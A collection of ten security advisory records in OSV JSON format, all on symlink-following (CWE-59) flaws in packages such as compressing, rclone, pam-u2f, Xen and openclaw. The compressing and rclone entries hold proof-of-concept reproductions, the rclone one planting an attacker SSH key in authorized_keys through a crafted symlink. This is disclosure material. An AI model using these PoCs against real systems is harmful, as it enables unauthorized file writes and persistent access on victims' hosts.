{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "compressing"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.0.0"
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.10.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "compressing"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.10.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-24884"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-03T17:42:18Z",
    "nvd_published_at": "2026-02-04T20:16:05Z",
    "severity": "HIGH"
  },
  "details": "# Arbitrary File Write via Symlink Extraction in `github.com/node-modules/compressing`\n\n## Brief Introduction\n\nThe `compressing` npm package extracts TAR archives while restoring symbolic links without validating their targets. \nBy embedding symlinks that resolve outside the intended extraction directory, an attacker can cause subsequent file entries to be written to arbitrary locations on the host file system.\n\nDepending on the extractor\u2019s handling of existing files, this behavior may allow overwriting sensitive files or creating new files in security-critical locations.\n\n## Affected Component and Versions\n\n- **Component**: `github.com/node-modules/compressing`\n- **Affected Versions**: `\u003c= 1.10.3 || =2.0.0` \n\n## Vulnerability Details\n\n### Root Cause\n\n`compressing.tar.uncompress` sanitizes the destination paths of archive entries, but it does **not** restrict or validate the targets of symlinks contained in TAR archives. During extraction, the library creates those symlinks inside the output directory. Later entries that resolve through the symlink are written to the symlink target rather than the intended extraction root, enabling an arbitrary file write.\n\n### Impact\n\nAn attacker who can supply a crafted TAR archive can:\n\n- Cause files to be written outside the intended extraction directory (arbitrary file write via symlink traversal).\n\n- Write files to attacker-controlled paths on the host file system once symbolic links are followed during extraction.\n\n- In environments where extraction is performed with elevated privileges or targets executable paths, this may lead to code execution, privilege escalation, data corruption, or denial of service.\n\n## Reproduction\n\n### Environment\n\n- **OS**: Ubuntu 24.04\n- **Node.js**: v24.12.0\n- **compressing**: 2.0.0\n\n### Construct PoC Archive\n\nThe following pseudo-code demonstrates the attack logic:\n\n```python\nbase_dir = \"archive/\"\nwith tarfile.open(\"./poc_arbitrary_write.tar\", mode=\"w\") as tar:\n    add_regular_file(tar, base_dir + \"baseFile.txt\", \"base content\\n\")\n    add_symlink(tar, base_dir + \"myTmp\", \"/tmp\")\n    add_regular_file(tar, base_dir + \"myTmp/poc.txt\", \"Arbitrary File Write\\n\")\n```\n\n### Extract the Archive\n\n```javascript\nconst compressing = require(\u0027compressing\u0027);\n\nfunction untar(archiveName, destPath) {\n  return compressing.tar.uncompress(archiveName, destPath);\n}\n\n\nasync function main() {\n  const archivePath = process.argv[2];\n  const destPath = \"./output\";\n\n  if (archivePath \u0026\u0026 archivePath.endsWith(\".tar\")) {\n    await untar(archivePath, destPath);\n  }\n}\n\nmain();\n```\n\n### Attack Results\n\n\u003cimg width=\"547\" height=\"161\" alt=\"image\" src=\"https://github.com/user-attachments/assets/5ea12efd-0d3f-4f8a-8414-b3a5c72e153e\" /\u003e\n\n\nAfter extraction, the output directory contains a symlink pointing to `/tmp`. The file `poc.txt` is then written through the symlink to `/tmp/poc.txt`, demonstrating an arbitrary file write outside the extraction directory.\n\n## Summary\n\n`compressing` restores symlinks from TAR archives without validating their targets. By combining a malicious symlink with a subsequent file entry, an attacker can redirect extracted files to arbitrary locations on the host.",
  "id": "GHSA-cc8f-xg8v-72m3",
  "modified": "2026-02-04T21:55:36Z",
  "published": "2026-02-03T17:42:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/node-modules/compressing/security/advisories/GHSA-cc8f-xg8v-72m3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24884"
    },
    {
      "type": "WEB",
      "url": "https://github.com/node-modules/compressing/commit/8d16c196c7f1888fc1af957d9ff36117247cea6c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/node-modules/compressing/commit/ce1c0131c401c071c77d5a1425bf8c88cfc16361"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/node-modules/compressing"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Compressing Vulnerable to Arbitrary File Write via Symlink Extraction"
}

{
  "affected": [],
  "aliases": [
    "CVE-2019-12209"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-06-04T21:29:00Z",
    "severity": "HIGH"
  },
  "details": "Yubico pam-u2f 1.0.7 attempts parsing of the configured authfile (default $HOME/.config/Yubico/u2f_keys) as root (unless openasuser was enabled), and does not properly verify that the path lacks symlinks pointing to other files on the system owned by root. If the debug option is enabled in the PAM configuration, part of the file contents of a symlink target will be logged, possibly revealing sensitive information.",
  "id": "GHSA-cf2r-5chq-jmm8",
  "modified": "2024-04-04T00:51:18Z",
  "published": "2022-05-24T16:47:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-12209"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Yubico/pam-u2f/commit/7db3386fcdb454e33a3ea30dcfb8e8960d4c3aa3"
    },
    {
      "type": "WEB",
      "url": "https://developers.yubico.com/pam-u2f/Release_Notes.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/5FOR4ADC356JPCHAJI5UXZORLC3VNBPS"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ZCGU6UQLI3ZTW3UYCTMQW7VDL5M4LCWR"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/5FOR4ADC356JPCHAJI5UXZORLC3VNBPS"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZCGU6UQLI3ZTW3UYCTMQW7VDL5M4LCWR"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2019-07/msg00012.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2019-07/msg00018.html"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2019/06/05/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-6233"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-22T20:15:11Z",
    "severity": "HIGH"
  },
  "details": "Check Point ZoneAlarm Extreme Security Link Following Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of Check Point ZoneAlarm Extreme Security. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.\n\nThe specific flaw exists within the Forensic Recorder service. By creating a symbolic link, an attacker can abuse the service to overwrite arbitrary files. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of SYSTEM. Was ZDI-CAN-21677.",
  "id": "GHSA-cf35-r4vm-vv4f",
  "modified": "2024-11-22T21:32:16Z",
  "published": "2024-11-22T21:32:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6233"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-24-1036"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.74.3"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/rclone/rclone"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.74.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54572"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-05T20:15:01Z",
    "nvd_published_at": "2026-07-14T22:17:16Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nWith `-l/--links`, rclone serializes symlinks as `\u003cname\u003e.rclonelink` text objects whose body is the link target. When rclone writes such an object to a local destination, it recreates the symlink with `os.Symlink(\u003cobject body\u003e, \u003cdest path\u003e)` and performs NO validation of the target. If the source is attacker-controlled, the attacker sets the body to any absolute or `../` path, so rclone plants a symlink inside the destination that points anywhere on the victim\u0027s filesystem. Because a sibling object named `\u003cname\u003e.rclonelink` sorts before `\u003cname\u003e/...`, rclone creates the escaping symlink first and then writes a following object \"inside\" it; `mkdirAll`/`OpenFile` follow the planted symlink, so the file lands OUTSIDE the destination with attacker-chosen contents. This yields arbitrary file write as the victim user, e.g. overwriting `~/.ssh/authorized_keys`, `~/.bashrc`, or a crontab \u2014 i.e. code execution.\n\n### Details\n`backend/local/local.go`, `Object.Update()`:\n```go\n} else {\n    out = nopWriterCloser{\u0026symlinkData}          // body of \u003cname\u003e.rclonelink = attacker data\n}\n...\nif o.translatedLink {\n    if err == nil {\n        if _, err := os.Lstat(o.path); err == nil {\n            os.Remove(o.path)\n        }\n        // Use the contents for the copied object to create a symlink\n        err = os.Symlink(symlinkData.String(), o.path)   // \u003c-- target NEVER validated (abs / .. allowed)\n    }\n}\n```\n`symlinkData` is the raw body of the source object, fully attacker-controlled when copying from an untrusted remote. There is no check that the target is relative or stays within the destination. The subsequent write path (`mkdirAll()` \u2192 `file.MkdirAll`, then `file.OpenFile(..., O_CREATE)`) follows existing symlink components with no `O_NOFOLLOW`, so a file written under the planted symlinked directory escapes the destination.\n\n### PoC\n1) Get the official stable binary:\n```\ncurl -fsSLO https://downloads.rclone.org/v1.74.3/rclone-v1.74.3-linux-amd64.zip\nunzip -j rclone-v1.74.3-linux-amd64.zip \u0027*/rclone\u0027 -d .      # ./rclone -\u003e v1.74.3\n```\n2) Create an attacker-controlled \"remote\" (two objects) and a victim layout:\n```\nmkdir -p evil/pwn dest victimhome/.ssh\nprintf \u0027%s\u0027 \"$PWD/victimhome/.ssh\" \u003e evil/pwn.rclonelink              # body = abs path OUTSIDE dest\nprintf \u0027ssh-ed25519 AAAA_ATTACKER_KEY pwned\\n\u0027 \u003e evil/pwn/authorized_keys\nls -l victimhome/.ssh                                                 # empty (before)\n```\n3) Serve the malicious remote (models any untrusted remote \u2014 bucket / WebDAV / HTTP share):\n```\ncd evil \u0026\u0026 python3 -m http.server 38080 --bind 127.0.0.1\n```\n4) VICTIM ACTION \u2014 back up the untrusted remote preserving symlinks:\n```\n./rclone copy --links --http-url http://127.0.0.1:38080 :http: ./dest -v\n```\n5) Observe \u2014 a file landed OUTSIDE `./dest`:\n```\nls -l dest/pwn                       # dest/pwn -\u003e .../victimhome/.ssh   (symlink escapes dest)\ncat victimhome/.ssh/authorized_keys  # ssh-ed25519 AAAA_ATTACKER_KEY pwned   \u003c-- written outside dest\n```\n`pwn.rclonelink` sorts before `pwn/authorized_keys`, so rclone creates the escaping symlink first and the next write follows it out of the destination. With rclone run as the victim user this overwrites `~/.ssh/authorized_keys`, `~/.bashrc`, or a crontab \u2192 code execution.\n\n### Impact\nAn attacker who controls the contents of any remote a victim syncs with `-l/--links` gains arbitrary file write as the victim user, anywhere that user can write. Overwriting `~/.ssh/authorized_keys`, shell rc files, or cron files yields remote code execution on the victim\u0027s host. Even without the write-through step, the destination is silently populated with symlinks pointing anywhere on the local filesystem (confinement break / later read-or-write traversal).\n\n### Remediation\nIn `Object.Update()` reject symlink targets that are absolute or escape the destination root before calling `os.Symlink` (resolve `filepath.Join(dir, target)` and require it to stay within the configured root, or refuse absolute/`..` targets), and write objects with `O_NOFOLLOW` on the final component plus a no-symlink-in-parent check so a planted symlinked directory is never followed. Add a regression test copying a `.rclonelink` with target `/tmp/...` and a sibling file, asserting nothing is written outside the destination.",
  "id": "GHSA-cf44-9pgv-m4xc",
  "modified": "2026-08-05T20:15:01Z",
  "published": "2026-08-05T20:15:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rclone/rclone/security/advisories/GHSA-cf44-9pgv-m4xc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54572"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rclone/rclone/commit/1154afebee986180b489084d38e2a0c578751498"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rclone/rclone/commit/874a804f5289517defdd7de68b2a374837080265"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rclone/rclone"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rclone/rclone/releases/tag/v1.74.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "rclone: Unvalidated symlink target in local `--links` \u2014 arbitrary file write from an untrusted remote"
}

{
  "affected": [],
  "aliases": [
    "CVE-2007-3919"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2007-10-28T17:08:00Z",
    "severity": "MODERATE"
  },
  "details": "(1) xenbaked and (2) xenmon.py in Xen 3.1 and earlier allow local users to truncate arbitrary files via a symlink attack on /tmp/xenq-shm.",
  "id": "GHSA-cf5w-7gqx-4gh9",
  "modified": "2022-05-01T18:18:35Z",
  "published": "2022-05-01T18:18:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2007-3919"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/37403"
    },
    {
      "type": "WEB",
      "url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A9913"
    },
    {
      "type": "WEB",
      "url": "https://www.redhat.com/archives/fedora-package-announce/2007-November/msg00004.html"
    },
    {
      "type": "WEB",
      "url": "https://www.redhat.com/archives/fedora-package-announce/2007-November/msg00075.html"
    },
    {
      "type": "WEB",
      "url": "http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=447795"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/41342"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/41343"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/27389"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/27408"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/27486"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/27497"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/29963"
    },
    {
      "type": "WEB",
      "url": "http://www.debian.org/security/2007/dsa-1395"
    },
    {
      "type": "WEB",
      "url": "http://www.mandriva.com/security/advisories?name=MDKSA-2007:203"
    },
    {
      "type": "WEB",
      "url": "http://www.redhat.com/support/errata/RHSA-2008-0194.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/26190"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id?1018859"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2007/3621"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-49739"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-08T17:16:02Z",
    "severity": "HIGH"
  },
  "details": "Improper link resolution before file access (\u0027link following\u0027) in Visual Studio allows an unauthorized attacker to elevate privileges over a network.",
  "id": "GHSA-cf69-g2cj-5w8c",
  "modified": "2025-07-08T18:31:51Z",
  "published": "2025-07-08T18:31:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-49739"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-49739"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2019-0574"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-01-08T21:29:00Z",
    "severity": "HIGH"
  },
  "details": "An elevation of privilege vulnerability exists when the Windows Data Sharing Service improperly handles file operations, aka \"Windows Data Sharing Service Elevation of Privilege Vulnerability.\" This affects Windows Server 2016, Windows 10, Windows Server 2019, Windows 10 Servers. This CVE ID is unique from CVE-2019-0571, CVE-2019-0572, CVE-2019-0573.",
  "id": "GHSA-cfcw-8ff3-9xw4",
  "modified": "2022-05-13T01:21:18Z",
  "published": "2022-05-13T01:21:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-0574"
    },
    {
      "type": "WEB",
      "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0574"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/46160"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/106431"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-31256"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-10-26T09:15:00Z",
    "severity": "HIGH"
  },
  "details": "A Improper Link Resolution Before File Access (\u0027Link Following\u0027) vulnerability in a script called by the sendmail systemd service of openSUSE Factory allows local attackers to escalate from user mail to root. This issue affects: SUSE openSUSE Factory sendmail versions prior to 8.17.1-1.1.",
  "id": "GHSA-cfgc-fgg8-p3qf",
  "modified": "2022-10-28T19:00:32Z",
  "published": "2022-10-26T12:00:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31256"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.suse.com/show_bug.cgi?id=1204696"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-41668"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-08T07:15:25Z",
    "severity": "HIGH"
  },
  "details": "A low privileged remote attacker with file access can replace a critical file or folder used by the service security-profile to get read, write and execute access to any file on the device.",
  "id": "GHSA-cfp6-pp5w-4v4g",
  "modified": "2025-07-08T09:31:29Z",
  "published": "2025-07-08T09:31:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-41668"
    },
    {
      "type": "WEB",
      "url": "https://certvde.com/en/advisories/VDE-2025-054"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2026.3.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-31990"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-03T21:18:28Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n`stageSandboxMedia` allowed destination symlink traversal during media staging, which could overwrite files outside the sandbox workspace root.\n\n### Impact\nWhen sandbox media staging handled inbound files, destination writes under `media/inbound` were not destination-alias-safe. If a symlink existed in that destination path, the write could follow it and overwrite host files outside the intended sandbox workspace boundary.\n\n### Affected Packages / Versions\n- Package: `openclaw` (npm)\n- Latest published version checked: `2026.3.1`\n- Affected: `\u003c= 2026.3.1`\n- Patched versions: `\u003e= 2026.3.2` (released)\n\n### Root Cause\n`stageSandboxMedia` validated source paths but wrote destination files with a direct copy path that did not enforce destination boundary/alias checks.\n\n### Remediation\nThe fix routes staging writes through root-scoped safe write primitives for both local and SCP-staged attachments, preventing destination symlink traversal escapes.\n\n### Fix Commit(s)\n- `17ede52a4be3034f6ec4b883ac6b81ad0101558a`",
  "id": "GHSA-cfvj-7rx7-fc7c",
  "modified": "2026-03-19T21:22:14Z",
  "published": "2026-03-03T21:18:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-cfvj-7rx7-fc7c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31990"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/17ede52a4be3034f6ec4b883ac6b81ad0101558a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-symlink-traversal-in-stagesandboxmedia-destination"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw: stageSandboxMedia destination symlink traversal can overwrite files outside sandbox workspace"
}